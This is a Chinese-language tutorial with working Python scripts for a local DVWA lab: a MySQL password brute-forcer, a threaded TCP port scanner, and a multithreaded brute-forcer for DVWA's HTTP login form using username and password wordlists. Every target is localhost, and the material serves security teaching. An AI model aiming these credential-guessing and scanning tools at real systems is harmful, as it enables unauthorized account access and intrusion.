python Mysql&SqlServer 暴力破解

首先使用 dvwa 数据库，并新增一个用户

```
mysql> CREATE USER 'geektime'@'%' IDENTIFIED BY '123456';
```

使用pymysql连接数据库，并进行暴力破解

- 安装pymysql

`pip install pymysql`

```
import pymysql

password_list = [
    "pass1",
    "pass2",
    "pass3",
    "pass4",
    "pass5",
    "pass6",
    "pass7",
    "pass8",
    "pass9",
    "pass10",
    "pass11",
    "pass12",
    "123456"
]

for password in password_list:
    try:
        data = pymysql.connect(host="127.0.0.1", port=33060, user="geektime",
password=password)
        print("[+]Find Password is: %s !!!!!!!" % password)
        break
    except pymysql.err.OperationalError as e:
        print("[-]Password error: %s" % password)
```

也可以读取文件中的密码列表进行暴力破解

```
import pymysql



def brute_force(password_list):
    for password in password_list:
        password = password.strip()
        try:
            pymysql.connect(host="127.0.0.1", port=33060, user="geektime",
password=password)
            print("[+]Find Password is: %s !!!!!!!" % password)
            break
        except pymysql.err.OperationalError as e:
            print("[-]Password error: %s" % password)


with open("mysql_pass.txt", "r") as f:
    brute_force(f.readlines())
```

python 端口扫描

使用线程池进行端口扫描，并记录扫描时间

```
import socket
from concurrent.futures import ThreadPoolExecutor, wait
import time


def geektime_main():
    target_ip = input("IP:")
    start_time = time.time()
    start_time_format = time.ctime()
    print("[*] Start port scan at %s" % start_time_format)
    future = [pool.submit(port_scan, target_ip, port) for port in range(0, 1000)]
    wait(future)  # 等待所有线程完成
    pool.shutdown()
    end_time = time.time()
    print("[*] 扫描结束，共计扫描时间: %.2f s" % (end_time - start_time))


def port_scan(target, port):
    try:
        client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  # 创建socket对象
        client.connect((target, port))  # 建立TCP连接
        print("[*] %s: %d 端口开放" % (target, port))
        client.close()
    except:
        pass  # 捕获异常


if __name__ == "__main__":
    pool = ThreadPoolExecutor(max_workers=20)

    geektime_main()
```

HTTP表单暴力破解

首先先写一个用来爆破dvwa的函数

```python
import requests
import operator


def brute_force(user, password):
    proxy = {"http": "127.0.0.1:8081"}
    # DVWA 登陆接口
    url = "http://127.0.0.1:8080/vulnerabilities/brute/?username=%s&password=%s&Login=Login" % (user, password)
    user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) " \
                 "Chrome/101.0.4951.41 Safari/537.36"
    header = {"User-Agent": user_agent, "Content-Type": "application/x-www-form-urlencoded",
              "Cookie": "PHPSESSID=q0jjc3mnedod1gsqcd2tt53sg4; security=low"}

    response = requests.get(url, headers=header)
    data = response.text
    if operator.contains(data, "Welcome to the password protected area"):
        print("[+] Login Success, Password is %s !!!" % password)
    else:
        print("[-] Login Error")


if __name__ == '__main__':
    brute_force("gordonb", "abc123")
```

之后读取用户名、密码文件，使用多线程进行爆破

```python
import requests
import operator
from concurrent.futures import ThreadPoolExecutor, wait


def brute_force(user, password):
    proxy = {"http": "127.0.0.1:8081"}
    # DVWA 登陆接口
    url = "http://127.0.0.1:8080/vulnerabilities/brute/?username=%s&password=%s&Login=Login" % (user, password)
    user_agent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) " \
                 "Chrome/101.0.4951.41 Safari/537.36"
    header = {"User-Agent": user_agent, "Content-Type": "application/x-www-form-urlencoded",
              "Cookie": "PHPSESSID=q0jjc3mnedod1gsqcd2tt53sg4; security=low"}

    response = requests.get(url, headers=header)
    data = response.text
    if operator.contains(data, "Welcome to the password protected area"):
        print("[+] Login Success, Password is %s !!!" % password)
    else:
        print("[-] Login Error")


def brute_force_read_file():
    brute_list = []
    with open("username_list.txt", "r") as user_file:
        for user in user_file:
            with open("password_list.txt", "r") as pass_file:
                for password in pass_file:
                    future = pool.submit(brute_force, user.strip(), password.strip())
                    brute_list.append(future)
    wait(brute_list)


if __name__ == '__main__':
    pool = ThreadPoolExecutor(max_workers=20)
    brute_force_read_file()
```